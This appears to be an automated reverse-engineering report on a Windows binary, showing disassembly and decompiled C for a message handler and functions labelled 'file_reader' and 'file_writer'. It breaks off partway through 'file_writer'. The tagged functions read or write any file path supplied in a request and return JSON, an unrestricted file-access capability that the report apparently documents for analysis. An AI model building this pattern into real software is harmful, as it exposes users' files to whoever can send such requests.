14000323549 89 d2MOV R10,RDX
1400032384d 0f 44 d1CMOVZ R10,R9
14000323c49 83 fa 07CMP R10,0x7
14000324075 1cJNZ LAB_14000325e
14000324241 ba 74 6f 70 6cMOV R10D,0x6c706f74
14000324845 33 10XOR R10D,dword ptr [R8]
14000324b41 bb 6c 65 66 74MOV R11D,0x7466656c
14000325145 33 58 03XOR R11D,dword ptr [R8 + local_38+0x4]
14000325545 09 d3OR R11D,R10D
1400032580f 84 ea 00 00 00JZ LAB_140003348
LAB_14000325e:
14000325ea8 01TEST AL,0x1
14000326049 89 d2MOV R10,RDX
1400032634d 0f 44 d1CMOVZ R10,R9
14000326749 83 fa 08CMP R10,0x8
14000326b75 1aJNZ LAB_140003287
14000326d49 ba 74 6f 6d 72 69 67 …MOV R10,0x74686769726d6f74
14000327749 81 c2 00 00 03 00ADD R10,0x30000
14000327e4d 39 10CMP qword ptr [R8],R10
1400032810f 84 c8 00 00 00JZ LAB_14000334f
LAB_140003287:
140003287a8 01TEST AL,0x1
14000328949 89 d2MOV R10,RDX
14000328c4d 0f 44 d1CMOVZ R10,R9
14000329049 83 fa 0aCMP R10,0xa
14000329475 22JNZ LAB_1400032b8
14000329649 ba 62 6f 74 74 6f 6d …MOV R10,0x656c6d6f74746f62
1400032a04d 33 10XOR R10,qword ptr [R8]
1400032a345 0f b7 58 08MOVZX R11D,word ptr [R8 + local_30+0x1]
1400032a849 81 f3 66 74 00 00XOR R11,0x7466
1400032af4d 09 d3OR R11,R10
1400032b20f 84 9e 00 00 00JZ LAB_140003356
LAB_1400032b8:
1400032b8a8 01TEST AL,0x1
1400032ba49 0f 44 d1CMOVZ RDX,R9
1400032bebe 01 00 00 00MOV ESI,0x1
1400032c348 83 fa 0bCMP RDX,0xb
1400032c70f 85 9a 00 00 00JNZ LAB_140003367
1400032cd48 ba 62 6f 74 74 6f 6d …MOV RDX,0x69726d6f74746f62
1400032d749 33 10XOR RDX,qword ptr [R8]
1400032da49 b9 74 6f 6d 72 69 67 …MOV R9,0x74686769726d6f74
1400032e44d 33 48 03XOR R9,qword ptr [R8 + local_38+0x4]
1400032e849 09 d1OR R9,RDX
1400032eb75 7aJNZ LAB_140003367
1400032edba 70 00 00 00MOV EDX,0x70
1400032f2eb 67JMP LAB_14000335b
LAB_1400032f4:
1400032f431 d2XOR EDX,EDX
1400032f6eb 63JMP LAB_14000335b
LAB_1400032f8:
1400032f8ba 10 00 00 00MOV EDX,0x10
1400032fdeb 5cJMP LAB_14000335b
LAB_1400032ff:
1400032ffba 20 00 00 00MOV EDX,0x20
140003304eb 55JMP LAB_14000335b
LAB_140003306:
14000330666 c7 44 24 38 00 00MOV word ptr [RSP + local_20],0x0
14000330d48 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400033124c 8d 44 24 38LEA R8,[RSP + 0x38]
140003317e8 f4 49 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
14000331cf6 44 24 38 01TEST byte ptr [RSP + local_20],0x1
14000332174 0aJZ LAB_14000332d
14000332348 8b 4c 24 48MOV RCX,qword ptr [RSP + local_10]
140003328e8 b3 c5 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000332d:
14000332d0f b6 44 24 20MOVZX EAX,byte ptr [RSP + local_38]
14000333248 8b 54 24 28MOV RDX,qword ptr [RSP + local_30]
14000333748 8b 4c 24 30MOV RCX,qword ptr [RSP + local_28]
14000333ce9 3f fe ff ffJMP LAB_140003180
LAB_140003341:
140003341ba 30 00 00 00MOV EDX,0x30
140003346eb 13JMP LAB_14000335b
LAB_140003348:
140003348ba 40 00 00 00MOV EDX,0x40
14000334deb 0cJMP LAB_14000335b
LAB_14000334f:
14000334fba 50 00 00 00MOV EDX,0x50
140003354eb 05JMP LAB_14000335b
LAB_140003356:
140003356ba 60 00 00 00MOV EDX,0x60
LAB_14000335b:
14000335b4c 8d 05 ae 86 09 00LEA R8,[PTR_DAT_14009ba10]
14000336242 8b 74 02 08MOV ESI,dword ptr [RDX + R8*0x1 + 0x8]
LAB_140003367:
140003367a8 01TEST AL,0x1
14000336974 05JZ LAB_140003370
14000336be8 70 c5 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003370:
14000337083 fe 01CMP ESI,0x1
14000337374 37JZ LAB_1400033ac
14000337548 8d 4c 24 20LEA RCX,[RSP + 0x20]
14000337aff 15 b0 ef 0a 00CALL qword ptr [PTR_GetCursorPos_1400b2330]
140003380ff 15 02 f0 0a 00CALL qword ptr [PTR_ReleaseCapture_1400b2388]
14000338648 8b 0d c3 60 0c 00MOV RCX,qword ptr [DAT_1400c9450]
14000338d4c 63 c6MOVSXD R8,ESI
1400033900f b7 44 24 20MOVZX EAX,word ptr [RSP + local_38]
14000339544 8b 4c 24 24MOV R9D,dword ptr [RSP + local_38+0x4]
14000339a41 c1 e1 10SHL R9D,0x10
14000339e41 09 c1OR R9D,EAX
1400033a1ba a1 00 00 00MOV EDX,0xa1
1400033a6ff 15 ec ef 0a 00CALL qword ptr [PTR_SendMessageW_1400b2398]
LAB_1400033ac:
1400033ac90NOP
1400033ad48 83 c4 50ADD RSP,0x50
1400033b15ePOP RSI
1400033b2c3RET

file_reader

0x1400033d0975 bytes
undefined file_reader(ulonglong param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Reads files by path parameter, builds JSON response with contents

Cited as
E15
Behaviours
B9
Called from
ui_thread_handler
Calls
CloseHandle CreateFileW ReadFile json_response_builder, FUN_140002cd0, http_request_builder, FUN_140007d10, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_14001f8e0, FUN_140021ad4
Decompiled C · 201 lines
void file_reader(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong lVar2;
  undefined8 uVar3;
  BOOL BVar4;
  ulonglong uVar5;
  HANDLE hFile;
  undefined8 *puVar6;
  int *piVar7;
  void *pvVar8;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar9;
  char *pcVar10;
  undefined8 in_R9;
  LPDWORD pDVar11;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_10 [8];
  undefined8 uStackX_18;
  undefined8 uStackX_20;
  undefined8 uStack_38;
  
  uStack_38 = 0x1400033e3;
  uVar5 = FUN_140021ad4();
  lVar2 = -uVar5;
  *(undefined4 *)(&stack0x000020c0 + lVar2) = unaff_XMM6_Da;
  *(undefined4 *)(&stack0x000020c4 + lVar2) = unaff_XMM6_Db;
  *(undefined4 *)(&stack0x000020c8 + lVar2) = unaff_XMM6_Dc;
  *(undefined4 *)(&stack0x000020cc + lVar2) = unaff_XMM6_Dd;
  *(undefined8 *)(&stack0x00000030 + lVar2) = 0;
  *(undefined8 *)(&stack0x00000038 + lVar2) = 0;
  *(undefined8 *)(&stack0x00000040 + lVar2) = 0;
  if (in_RDX != (int *)0x0) {
    (&stack0x000000c0)[lVar2] = 8;
    *(undefined4 *)(&stack0x000000c1 + lVar2) = 0x68746170;
    if (*in_RDX == 6) {
      if (*(int **)(in_RDX + 0x10) != *(int **)(in_RDX + 0x12)) {
        piVar9 = *(int **)(in_RDX + 0x10) + 6;
        do {
          bVar1 = *(byte *)(piVar9 + -6);
          if ((bVar1 & 1) != 0) {
            if (*(longlong *)(piVar9 + -4) != 4) goto LAB_14000345f;
LAB_14000349c:
            if ((bVar1 & 1) == 0) {
              piVar7 = (int *)((longlong)piVar9 + -0x17);
            }
            else {
              piVar7 = *(int **)(piVar9 + -2);
            }
            if (*piVar7 != *(int *)(&stack0x000000c1 + lVar2)) goto LAB_14000345f;
            *(undefined2 *)(auStackX_10 + lVar2) = 0;
            *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400034c0;
            FUN_140007d10((longlong *)(&stack0x000000c0 + lVar2),piVar9,auStackX_10 + lVar2,in_R9);
            *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400034d2;
            uVar5 = http_request_builder(&stack0x000000c0 + lVar2,param_2,param_3,param_4);
            if (((&stack0x000000c0)[lVar2] & 1) == 0) {
              bVar1 = auStackX_10[lVar2];
            }
            else {
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000350b;
              FUN_14001f8e0(*(void **)(&stack0x000000d0 + lVar2));
              bVar1 = auStackX_10[lVar2];
            }
            if ((bVar1 & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000351c;
              FUN_14001f8e0(*(void **)((longlong)&uStackX_20 + lVar2));
            }
            if ((char)uVar5 != '\0') {
              if (((&stack0x00000030)[lVar2] & 1) == 0) {
                lpFileName = (LPCWSTR)(&stack0x00000032 + lVar2);
              }
              else {
                lpFileName = *(LPCWSTR *)(&stack0x00000040 + lVar2);
              }
              *(undefined8 *)(&stack0x00000000 + lVar2) = 0;
              *(undefined4 *)(&stack0xfffffffffffffff8 + lVar2) = 0x80;
              *(undefined4 *)(&stack0xfffffffffffffff0 + lVar2) = 3;
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400035cd;
              hFile = CreateFileW(lpFileName,0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,
                                  *(DWORD *)(&stack0xfffffffffffffff0 + lVar2),
                                  *(DWORD *)(&stack0xfffffffffffffff8 + lVar2),
                                  *(HANDLE *)(&stack0x00000000 + lVar2));
              if (hFile != (HANDLE)0xffffffffffffffff) {
                *(undefined8 *)(auStackX_10 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStackX_18 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStackX_20 + lVar2) = 0;
                while( true ) {
                  *(undefined8 *)(&stack0xfffffffffffffff0 + lVar2) = 0;
                  pcVar10 = (char *)0x2000;
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000362b;
                  pDVar11 = (LPDWORD)(&stack0x0000002c + lVar2);
                  BVar4 = ReadFile(hFile,&stack0x000000c0 + lVar2,0x2000,
                                   (LPDWORD)(&stack0x0000002c + lVar2),
                                   *(LPOVERLAPPED *)(&stack0xfffffffffffffff0 + lVar2));
                  if ((BVar4 == 0) ||
                     (pcVar10 = (char *)(ulonglong)*(uint *)(&stack0x0000002c + lVar2),
                     *(uint *)(&stack0x0000002c + lVar2) == 0)) break;
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003644;
                  FUN_14000ea80((ulonglong *)(auStackX_10 + lVar2),&stack0x000000c0 + lVar2,
                                (ulonglong)pcVar10,pDVar11);
                }
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000364f;
                CloseHandle(hFile);
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003661;
                FUN_140002cd0((ulonglong *)(&stack0x00000090 + lVar2),auStackX_10 + lVar2,pcVar10,
                              pDVar11);
                pcVar10 = "{\"text\":\"";
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003677;
                puVar6 = (undefined8 *)
                         FUN_14000eec0((ulonglong *)(&stack0x00000090 + lVar2),0,
                                       (byte *)"{\"text\":\"");
                *(undefined8 *)(&stack0x00000060 + lVar2) = puVar6[2];
                uVar3 = puVar6[1];
                *(undefined8 *)(&stack0x00000050 + lVar2) = *puVar6;
                *(undefined8 *)(&stack0x00000058 + lVar2) = uVar3;
                *puVar6 = 0;
                puVar6[1] = 0;
                puVar6[2] = 0;
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400036b0;
                puVar6 = (undefined8 *)
                         FUN_14000ea50((ulonglong *)(&stack0x00000050 + lVar2),"\"}",pcVar10,pDVar11
                                      );
                *(undefined8 *)(&stack0x00000080 + lVar2) = puVar6[2];
                uVar3 = puVar6[1];
                *(undefined8 *)(&stack0x00000070 + lVar2) = *puVar6;
                *(undefined8 *)(&stack0x00000078 + lVar2) = uVar3;
                *puVar6 = 0;
                puVar6[1] = 0;
                puVar6[2] = 0;
                *(undefined2 *)(&stack0x000000a8 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400036f6;
                json_response_builder(param_1,'\x01',&stack0x00000070 + lVar2,&stack0x000000a8 + lVar2);
                if (((&stack0x00000070)[lVar2] & 1) == 0) {
                  if (((&stack0x00000050)[lVar2] & 1) == 0) goto LAB_14000370a;
LAB_14000377c:
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003789;
                  FUN_14001f8e0(*(void **)(&stack0x00000060 + lVar2));
                  if (((&stack0x00000090)[lVar2] & 1) != 0) goto LAB_140003793;
LAB_140003714:
                  bVar1 = auStackX_10[lVar2];
                }
                else {
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003772;
                  FUN_14001f8e0(*(void **)(&stack0x00000080 + lVar2));
                  if (((&stack0x00000050)[lVar2] & 1) != 0) goto LAB_14000377c;
LAB_14000370a:
                  if (((&stack0x00000090)[lVar2] & 1) == 0) goto LAB_140003714;
LAB_140003793:
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400037a0;
                  FUN_14001f8e0(*(void **)(&stack0x000000a0 + lVar2));
                  bVar1 = auStackX_10[lVar2];
                }
                if ((bVar1 & 1) == 0) goto LAB_140003571;
                pvVar8 = *(void **)((longlong)&uStackX_20 + lVar2);
                goto LAB_14000356c;
              }
              *(undefined2 *)(&stack0x000000c0 + lVar2) = 0;
              auStackX_10[lVar2] = 0x12;
              *(undefined8 *)(auStackX_10 + lVar2 + 1) = 0x6e756f6620746f6e;
              *(undefined2 *)((longlong)&uStackX_18 + lVar2 + 1) = 100;
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003760;
              json_response_builder(param_1,'\0',&stack0x000000c0 + lVar2,auStackX_10 + lVar2);
              goto LAB_14000355a;
            }
            break;
          }
          if (bVar1 >> 1 == 4) goto LAB_14000349c;
LAB_14000345f:
          piVar7 = piVar9 + 0x16;
          piVar9 = piVar9 + 0x1c;
        } while (piVar7 != *(int **)(in_RDX + 0x12));
      }
    }
  }
  *(undefined2 *)(&stack0x000000c0 + lVar2) = 0;
  auStackX_10[lVar2] = 0x10;
  *(undefined8 *)(auStackX_10 + lVar2 + 1) = 0x6874617020646162;
  *(undefined1 *)((longlong)&uStackX_18 + lVar2 + 1) = 0;
  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000355a;
  json_response_builder(param_1,'\0',&stack0x000000c0 + lVar2,auStackX_10 + lVar2);
LAB_14000355a:
  if (((&stack0x000000c0)[lVar2] & 1) != 0) {
    pvVar8 = *(void **)(&stack0x000000d0 + lVar2);
LAB_14000356c:
    *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003571;
    FUN_14001f8e0(pvVar8);
  }
LAB_140003571:
  if (((&stack0x00000030)[lVar2] & 1) != 0) {
    *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003582;
    FUN_14001f8e0(*(void **)(&stack0x00000040 + lVar2));
  }
  return;
}

Assembly · 203 instructions, 17 annotated
AddressBytesInstructionComment
1400033d041 57PUSH R15
1400033d241 56PUSH R14
1400033d441 54PUSH R12
1400033d656PUSH RSI
1400033d757PUSH RDI
1400033d853PUSH RBX
1400033d9b8 08 21 00 00MOV EAX,0x2108
1400033dee8 f1 e6 01 00CALL FUN_140021ad4
1400033e348 29 c4SUB RSP,RAX
1400033e60f 29 b4 24 f0 20 00 00MOVAPS xmmword ptr [RSP + 0x20f0],XMM6
1400033ee48 89 ceMOV RSI,RCX
1400033f10f 57 c0XORPS XMM0,XMM0
1400033f40f 29 44 24 60MOVAPS xmmword ptr [RSP + 0x60],XMM0
1400033f948 c7 44 24 70 00 00 00 …MOV qword ptr [RSP + 0x70],0x0
14000340248 85 d2TEST RDX,RDX
1400034050f 84 15 01 00 00JZ LAB_140003520
14000340bc6 84 24 f0 00 00 00 08MOV byte ptr [RSP + 0xf0],0x8
140003413c7 84 24 f1 00 00 00 70 …MOV dword ptr [RSP + 0xf1],0x68746170
14000341e83 3a 06CMP dword ptr [RDX],0x6
1400034210f 85 f9 00 00 00JNZ LAB_140003520
14000342748 89 d0MOV RAX,RDX
14000342a48 8b 52 40MOV RDX,qword ptr [RDX + 0x40]
14000342e48 8b 40 48MOV RAX,qword ptr [RAX + 0x48]
14000343248 39 c2CMP RDX,RAX
1400034350f 84 e5 00 00 00JZ LAB_140003520
14000343b48 83 c2 18ADD RDX,0x18
14000343feb 33JMP LAB_140003474
LAB_140003450:
14000345048 8b 4a f8MOV RCX,qword ptr [RDX + -0x8]
LAB_140003454:
1400034548b 09MOV ECX,dword ptr [RCX]
1400034563b 8c 24 f1 00 00 00CMP ECX,dword ptr [RSP + 0xf1]
14000345d74 48JZ LAB_1400034a7
LAB_14000345f:
14000345f48 8d 4a e8LEA RCX,[RDX + -0x18]
14000346348 83 c2 70ADD RDX,0x70
14000346748 83 c1 70ADD RCX,0x70
14000346b48 39 c1CMP RCX,RAX
14000346e0f 84 ac 00 00 00JZ LAB_140003520
LAB_140003474:
1400034740f b6 4a e8MOVZX ECX,byte ptr [RDX + -0x18]
140003478f6 c1 01TEST CL,0x1
14000347b74 13JZ LAB_140003490
14000347d4c 8b 42 f0MOV R8,qword ptr [RDX + -0x10]
14000348149 83 f8 04CMP R8,0x4
14000348575 d8JNZ LAB_14000345f
140003487eb 13JMP LAB_14000349c
LAB_140003490:
14000349041 89 c8MOV R8D,ECX
14000349341 d1 e8SHR R8D,0x1
14000349649 83 f8 04CMP R8,0x4
14000349a75 c3JNZ LAB_14000345f
LAB_14000349c:
14000349cf6 c1 01TEST CL,0x1
14000349f75 afJNZ LAB_140003450
1400034a148 8d 4a e9LEA RCX,[RDX + -0x17]
1400034a5eb adJMP LAB_140003454
LAB_1400034a7:
1400034a766 c7 44 24 40 00 00MOV word ptr [RSP + 0x40],0x0
1400034ae48 8d 8c 24 f0 00 00 00LEA RCX,[RSP + 0xf0]
1400034b64c 8d 44 24 40LEA R8,[RSP + 0x40]
1400034bbe8 50 48 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
1400034c048 8d 8c 24 f0 00 00 00LEA RCX,[RSP + 0xf0]
1400034c848 8d 54 24 60LEA RDX,[RSP + 0x60]
1400034cde8 4e 11 00 00CALL http_request_builder; → http_request_builder (B3, E22)
1400034d289 c3MOV EBX,EAX
1400034d4f6 84 24 f0 00 00 00 01TEST byte ptr [RSP + 0xf0],0x1
1400034dc75 20JNZ LAB_1400034fe
1400034def6 44 24 40 01TEST byte ptr [RSP + 0x40],0x1
1400034e375 2dJNZ LAB_140003512
LAB_1400034e5:
1400034e584 dbTEST BL,BL
1400034e774 37JZ LAB_140003520
LAB_1400034e9:
1400034e9f6 44 24 60 01TEST byte ptr [RSP + 0x60],0x1
1400034ee0f 84 a7 00 00 00JZ LAB_14000359b
1400034f448 8b 4c 24 70MOV RCX,qword ptr [RSP + 0x70]
1400034f9e9 a2 00 00 00JMP LAB_1400035a0
LAB_1400034fe:
1400034fe48 8b 8c 24 00 01 00 00MOV RCX,qword ptr [RSP + 0x100]
140003506e8 d5 c3 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000350bf6 44 24 40 01TEST byte ptr [RSP + 0x40],0x1
14000351074 d3JZ LAB_1400034e5
LAB_140003512:
14000351248 8b 4c 24 50MOV RCX,qword ptr [RSP + 0x50]
140003517e8 c4 c3 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000351c84 dbTEST BL,BL
14000351e75 c9JNZ LAB_1400034e9
LAB_140003520:
14000352066 c7 84 24 f0 00 00 00 …MOV word ptr [RSP + 0xf0],0x0
14000352ac6 44 24 40 10MOV byte ptr [RSP + 0x40],0x10
14000352f48 b8 62 61 64 20 70 61 …MOV RAX,0x6874617020646162
14000353948 89 44 24 41MOV qword ptr [RSP + 0x41],RAX
14000353ec6 44 24 49 00MOV byte ptr [RSP + 0x49],0x0
1400035434c 8d 84 24 f0 00 00 00LEA R8,[RSP + 0xf0]
14000354b4c 8d 4c 24 40LEA R9,[RSP + 0x40]
14000355048 89 f1MOV RCX,RSI
14000355331 d2XOR EDX,EDX
140003555e8 a6 f3 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
LAB_14000355a:
14000355af6 84 24 f0 00 00 00 01TEST byte ptr [RSP + 0xf0],0x1
14000356274 0dJZ LAB_140003571
14000356448 8b 8c 24 00 01 00 00MOV RCX,qword ptr [RSP + 0x100]
LAB_14000356c:
14000356ce8 6f c3 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003571:
140003571f6 44 24 60 01TEST byte ptr [RSP + 0x60],0x1
14000357674 0aJZ LAB_140003582
14000357848 8b 4c 24 70MOV RCX,qword ptr [RSP + 0x70]
14000357de8 5e c3 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003582:
1400035820f 28 b4 24 f0 20 00 00MOVAPS XMM6,xmmword ptr [RSP + 0x20f0]
14000358a48 81 c4 08 21 00 00ADD RSP,0x2108
1400035915bPOP RBX
1400035925fPOP RDI
1400035935ePOP RSI
14000359441 5cPOP R12
14000359641 5ePOP R14
14000359841 5fPOP R15
14000359ac3RET
LAB_14000359b:
14000359b48 8d 4c 24 62LEA RCX,[RSP + 0x62]
LAB_1400035a0:
1400035a048 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + 0x30],0x0
1400035a9c7 44 24 28 80 00 00 00MOV dword ptr [RSP + 0x28],0x80
1400035b1c7 44 24 20 03 00 00 00MOV dword ptr [RSP + 0x20],0x3
1400035b9ba 00 00 00 80MOV EDX,0x80000000
1400035be41 b8 01 00 00 00MOV R8D,0x1
1400035c445 31 c9XOR R9D,R9D
1400035c7ff 15 0b f2 0a 00CALL qword ptr [PTR_CreateFileW_1400b27d8]
1400035cd48 89 c7MOV RDI,RAX
1400035d048 83 f8 ffCMP RAX,-0x1
1400035d40f 84 4a 01 00 00JZ LAB_140003724
1400035da0f 57 c0XORPS XMM0,XMM0
1400035dd0f 29 44 24 40MOVAPS xmmword ptr [RSP + 0x40],XMM0
1400035e248 c7 44 24 50 00 00 00 …MOV qword ptr [RSP + 0x50],0x0
1400035eb48 8d 9c 24 f0 00 00 00LEA RBX,[RSP + 0xf0]
1400035f34c 8d 74 24 5cLEA R14,[RSP + 0x5c]
1400035f84c 8b 25 61 f3 0a 00MOV R12,qword ptr [PTR_ReadFile_1400b2960]
1400035ff4c 8d 7c 24 40LEA R15,[RSP + 0x40]
14000360466 66 66 2e 0f 1f 84 00 …NOP word ptr CS:[RAX + RAX*0x1]
LAB_140003610:
14000361048 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + 0x20],0x0
14000361948 89 f9MOV RCX,RDI
14000361c48 89 daMOV RDX,RBX
14000361f41 b8 00 20 00 00MOV R8D,0x2000
1400036254d 89 f1MOV R9,R14
14000362841 ff d4CALL R12
14000362b85 c0TEST EAX,EAX
14000362d74 17JZ LAB_140003646
14000362f44 8b 44 24 5cMOV R8D,dword ptr [RSP + 0x5c]
14000363445 85 c0TEST R8D,R8D
14000363774 0dJZ LAB_140003646
1400036394c 89 f9MOV RCX,R15
14000363c48 89 daMOV RDX,RBX
14000363fe8 3c b4 00 00CALL FUN_14000ea80; FUN_14000ea80: memmove, memcpy
140003644eb caJMP LAB_140003610
LAB_140003646:
14000364648 89 f9MOV RCX,RDI
140003649ff 15 79 f1 0a 00CALL qword ptr [PTR_CloseHandle_1400b27c8]
14000364f48 8d 8c 24 c0 00 00 00LEA RCX,[RSP + 0xc0]
14000365748 8d 54 24 40LEA RDX,[RSP + 0x40]
14000365ce8 6f f6 ff ffCALL FUN_140002cd0; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
1400036614c 8d 05 9e 85 09 00LEA R8,[s_{"text":"_14009bc06]; "{\"text\":\""
14000366848 8d 8c 24 c0 00 00 00LEA RCX,[RSP + 0xc0]
14000367031 d2XOR EDX,EDX
140003672e8 49 b8 00 00CALL FUN_14000eec0; FUN_14000eec0: strlen
14000367748 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000367b48 89 8c 24 90 00 00 00MOV qword ptr [RSP + 0x90],RCX
1400036830f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400036860f 29 84 24 80 00 00 00MOVAPS xmmword ptr [RSP + 0x80],XMM0
14000368e0f 57 f6XORPS XMM6,XMM6
1400036910f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000369448 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000369c48 8d 15 b5 81 09 00LEA RDX,[DAT_14009b858]
1400036a348 8d 8c 24 80 00 00 00LEA RCX,[RSP + 0x80]
1400036abe8 a0 b3 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
1400036b048 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
1400036b448 89 8c 24 b0 00 00 00MOV qword ptr [RSP + 0xb0],RCX
1400036bc0f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400036bf0f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + 0xa0],XMM0
1400036c70f 11 30MOVUPS xmmword ptr [RAX],XMM6
1400036ca48 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
1400036d266 c7 84 24 d8 00 00 00 …MOV word ptr [RSP + 0xd8],0x0
1400036dc4c 8d 84 24 a0 00 00 00LEA R8,[RSP + 0xa0]
1400036e44c 8d 8c 24 d8 00 00 00LEA R9,[RSP + 0xd8]
1400036ec48 89 f1MOV RCX,RSI
1400036efb2 01MOV DL,offset u_HAN#_14009b7fc+5
1400036f1e8 0a f2 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
1400036f6f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + 0xa0],0x1
1400036fe75 65JNZ LAB_140003765
140003700f6 84 24 80 00 00 00 01TEST byte ptr [RSP + 0x80],0x1
14000370875 72JNZ LAB_14000377c
LAB_14000370a:
14000370af6 84 24 c0 00 00 00 01TEST byte ptr [RSP + 0xc0],0x1
14000371275 7fJNZ LAB_140003793
LAB_140003714:
140003714f6 44 24 40 01TEST byte ptr [RSP + 0x40],0x1
1400037190f 84 52 fe ff ffJZ LAB_140003571
14000371fe9 87 00 00 00JMP LAB_1400037ab
LAB_140003724:
14000372466 c7 84 24 f0 00 00 00 …MOV word ptr [RSP + 0xf0],0x0
14000372ec6 44 24 40 12MOV byte ptr [RSP + 0x40],0x12
14000373348 b8 6e 6f 74 20 66 6f …MOV RAX,0x6e756f6620746f6e
14000373d48 89 44 24 41MOV qword ptr [RSP + 0x41],RAX
14000374266 c7 44 24 49 64 00MOV word ptr [RSP + 0x49],0x64
1400037494c 8d 84 24 f0 00 00 00LEA R8,[RSP + 0xf0]
1400037514c 8d 4c 24 40LEA R9,[RSP + 0x40]
14000375648 89 f1MOV RCX,RSI
14000375931 d2XOR EDX,EDX
14000375be8 a0 f1 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140003760e9 f5 fd ff ffJMP LAB_14000355a
LAB_140003765:
14000376548 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + 0xb0]
14000376de8 6e c1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140003772f6 84 24 80 00 00 00 01TEST byte ptr [RSP + 0x80],0x1
14000377a74 8eJZ LAB_14000370a
LAB_14000377c:
14000377c48 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + 0x90]
140003784e8 57 c1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140003789f6 84 24 c0 00 00 00 01TEST byte ptr [RSP + 0xc0],0x1
14000379174 81JZ LAB_140003714
LAB_140003793:
14000379348 8b 8c 24 d0 00 00 00MOV RCX,qword ptr [RSP + 0xd0]
14000379be8 40 c1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400037a0f6 44 24 40 01TEST byte ptr [RSP + 0x40],0x1
1400037a50f 84 c6 fd ff ffJZ LAB_140003571
LAB_1400037ab:
1400037ab48 8b 4c 24 50MOV RCX,qword ptr [RSP + 0x50]
1400037b0e9 b7 fd ff ffJMP LAB_14000356c

file_writer

0x1400038b0730 bytes
undefined file_writer(ulonglong param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Writes files by path parameter, builds JSON response with status

Cited as
E16
Behaviours
B9
Called from
ui_thread_handler
Calls
CloseHandle CreateFileW WriteFile json_response_builder, http_request_builder, FUN_140007d10, FUN_14001f8e0
Decompiled C · 150 lines
void file_writer(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  ulonglong uVar2;
  HANDLE hFile;
  int *piVar3;
  longlong lVar4;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar5;
  LPCVOID lpBuffer;
  DWORD nNumberOfBytesToWrite;
  ulonglong in_R9;
  byte local_68;
  uint uStack_67;
  undefined1 local_63;
  void *local_58;
  byte local_50;
  undefined1 uStack_4f;
  undefined7 uStack_4e;
  uint local_47;
  undefined1 local_43;
  void *local_40;
  undefined8 local_38;
  undefined8 uStack_30;
  LPCWSTR local_28;
  DWORD local_1c;
  
  local_38 = 0;
  uStack_30 = 0;
  local_28 = (LPCWSTR)0x0;
  if ((in_RDX != (int *)0x0) && (uStack_67 = 0x68746170, *in_RDX == 6)) {
    if (*(int **)(in_RDX + 0x10) != *(int **)(in_RDX + 0x12)) {
      piVar5 = *(int **)(in_RDX + 0x10) + 6;
      do {
        bVar1 = *(byte *)(piVar5 + -6);
        if ((bVar1 & 1) == 0) {
          in_R9 = (ulonglong)(bVar1 >> 1);
        }
        else {
          in_R9 = *(ulonglong *)(piVar5 + -4);
        }
        if (in_R9 == 4) {
          if ((bVar1 & 1) == 0) {
